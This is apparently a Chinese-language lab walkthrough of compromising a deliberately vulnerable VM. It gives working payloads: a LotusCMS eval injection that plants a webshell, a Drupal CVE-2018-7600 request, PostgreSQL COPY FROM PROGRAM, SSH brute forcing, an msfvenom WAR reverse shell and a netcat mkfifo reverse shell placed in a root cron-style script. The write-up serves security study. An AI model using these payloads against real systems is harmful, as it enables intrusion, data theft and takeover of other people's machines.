环境
靶机:192.168.238.146
kali:192.168.238.139
信息收集
主机检测
存活主机检测的方式有很多种,这里简单介绍三种作者最常用的
arp-scan -l
netdiscover -i eth0 -r 192.168.238.0/24
nmap -sP 192.168.238.0/24
端口扫描
nmap -A -p- 192.168.238.146
目录扫描
dirsearch -u 192.168.238.146
漏洞利用
80端口(lotuscms 远程代码执行)
老规矩,先从80端口看起,访问之后没啥发现,点击功能点之后跳转其他页面
目录扫描后发现/cms,访问后发现是个lotuscms页面
这玩意可太熟了,当初审计源码的时候看得我脑瓜子疼
我记得这个版本的lotuscms还有个文件包含来着,但是这个靶场好像没有,这里简单说一下这个远程代码执行漏洞的产生原理
if(file_exists("core/plugs/".$plugin."Starter.php")){
//Include Page fetcher
include("core/plugs/".$plugin."Starter.php");
//Fetch the page and get over loading cache etc...
eval("new ".$plugin."Starter('".$page."');");
}
根据源码可知需要满足core/plugs/".$plugin."Starter.php 才能执行eval,而$page是可控的,我们通过$page构造payload
http://192.168.238.146/index.php?page=index');phpinfo();//
这样eval执行的代码就为
new PageStarter('index');phpinfo();//'); //由于$plugin没有执行,所以默认为Page,所以执行的就是PageStarter()
该语句首先使index')与前面的括号闭合,后面的//将'注释,这样就导致我们可以通过修改$page参数实现代码执行
http://192.168.238.146/index.php?page=index');system(id);//
代码执行写入一句话木马
http://192.168.238.146/cms/index.php?page=index%27);fputs(fopen(%27webshell.php%27,%27w+%27),%27%3C?php%20@eval($_REQUEST[cms])?%3E%27);//
蚁剑连接
也可以用msf拿shell
80端口(drupal 远程代码执行)
前面目录扫描扫到了/drupal,访问发现果然是drupal
这个cms也是老朋友了,查看版本为drupal 8,该版本存在远程命令执行(CVE-2018-7600)
poc
POST /drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.238.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.238.146/drupal/user/login
Connection: close
Cookie: PHPSESSID=e4bipcv4mmvip75aqcqmg5hnd3
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
上msf梭哈getshell
80端口(mongoadmin)
访问robots.txt
访问该路径,发现是MongoDB数据库的webui管理页面,点击change database->creds发现用户名账号密码
试了一下,发现能成功登上ssh
22端口(openssh 用户枚举)
80端口没啥可利用的了,接下来看22端口,经端口扫描检测出openssh版本号
用searchspliot查找一下漏洞,发现能用的只有用户枚举
漏洞利用可以使用msf也可以利用脚本,个人比较习惯msf,成功跑出用户名admin
接下来就简单了,hydra成功爆破出密码
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.238.146 ssh
ssh登录,登录成功
25端口(smtp 用户枚举)
经端口扫描可知smtp版本为Postfix smtpd,且VRFY方法可用
可以用smtp-user-enum枚举用户名
<!--smtp-user-enum-->
<!--通过SMTP服务发现目标系统帐号( Unix、Linux、 Solaris )-->
<!--枚举方法-->
<!--VRFY :验证邮箱是否存在-->
<!--EXPN :验证邮箱列表是否存在-->
<!--RCPT TO :指定收件人地址-->
<!--格式-->
<!--smtp-user-enum options (-u name|-U file) (-t host|-T file)-->
<!--参数-->
<!---m 并发进程数-->
<!---M 验证帐号的方法(默认VRFY )-->
<!---f addr 用于RCPT TO方法,指定发件人地址(默认[email protected])-->
<!---p port SMTP服务端口-->
<!---t 等待响应的超时时间(默认5秒)-->
但是很奇怪,不知道为啥我的smtp-user-enum啥都爆不出
没办法,还是得上msf
爆出用户名之后步骤和上面ssh一样,可以用hydra或者medusa爆破密码,然后ssh登录,这里就不多赘述了
外网打点-53端口(webcalendar)
端口扫描得知肯定是存在域的
用dmitry进行域名探测,将探测出的域名加入到hosts文件中
访问该域名,发现是个webcalendar页面
用searchspliot查找相关版本漏洞
发现msf可利用该exp,那就简单了
111/2049端口(网络共享文件渗透)
NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样
利用msf查看靶机挂载的目录是什么
将靶机挂载的目录挂载到我新建的目录下,发现一个secret文件,查看获取flag
mount -t nfs 192.168.238.146:/typhoon /root/typhoon
139/445端口(linux永恒之蓝 CVE-2017-7494)
看到靶机开放了139和445端口,且Samba版本号为4.1,当即就想到linux版永恒之蓝(CVE-2017-7494),该漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本
msf搜索CVE-2017-7494
利用该模块成功获取shell,而且还是root权限
除了可以利用永恒之蓝,还可以进行远程挂载
用enum4linux枚举目标共享信息,发现允许空用户名密码登录,且共享文件typhoon
enum4linux 192.168.238.146
将其挂载到新建的目录下
5432端口(postgresql 高权限命令执行)
发现开放了postgresql数据库的端口号5432
上msf爆破账号密码
登录postgresql
postgresql版本号为9.3.4,百度一波发现存在高权限命令执行漏洞(CVE-2019-9193)
漏洞利用
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
开启监听端口
注意,在反弹shell的时候需要将命令进行编码,不然会报错
成功反弹shell
也可以用写入一句话木马的方式获取shell
DROP TABLE if EXISTS wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES ('hello');
COPY wooyun(t) TO '/tmp/test';
蚁剑连接
6379(redis 未授权访问)
发现开放6379端口,立刻想到redis的未授权访问
尝试直接写入一句话
结果发现蚁剑连不上,用前面留下的后门进去看看,结果发现写进的马没有执行权限
然后又试了ssh免密登录,计划任务反弹shell,都失败了
脑瓜子疼,没办法。。。只能当脚本小子了
8080端口(tomcat 部署war包)
tomcat的漏洞应该说是大家比较熟悉的,弱口令tomcat/tomcat登录后台
msfvenom生成war木马
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.238.146 LPORT=5555 -f war -o tomcat.war
在后台deploy处提交war包
查看war包内的恶意代码文件
7z l tomcat.war
开启监听端口
访问byghjflgrawmw.jsp,成功反弹shell
也可以利用msf来getshell
shellshock(破壳漏洞)
这个漏洞是用nitko扫出来的
nikto -h 192.168.238.146
利用msf的exploit/multi/http/apache_mod_cgi_bash_env_exec模块可以拿到shell
提权
内核提权
查看内核版本
uname -a
searchspliot查找相关内核版本漏洞
下载exp到kali
searchsploit -m linux/local/37292.c
接下来就很简单了,kali开启http服务,靶机下载exp,这里注意要切换到/tmp目录下,否则没有权限下载
<!--/tmp和/var/tmp目录供所有用户暂时存取文件,即每位用户皆有完整的权限进入该目录,去浏览、删除和移动文件-->
编译exp,运行之后提权成功
sudo提权
尝试了一下,发现admin用户能执行sudo任意命令
<!--第一个ALL代表该用户可以用任何用户的身份执行sudo。-->
<!--第二个ALL代表该用户可以执行任何命令-->
尝试提权
配置不当提权
在/tab目录下有一个所有者为root且权限为777的文件
用msfvenom生成bash代码
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.238.139 lport=5555 W
将生成的bash恶意代码输入到script.sh文件中
echo 'mkfifo /tmp/zqol; nc 192.168.238.139 5555 0</tmp/zqol | /bin/sh >/tmp/zqol 2>&1; rm /tmp/zqol' > script.sh
开启监听端口
执行脚本
成功反弹shell
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)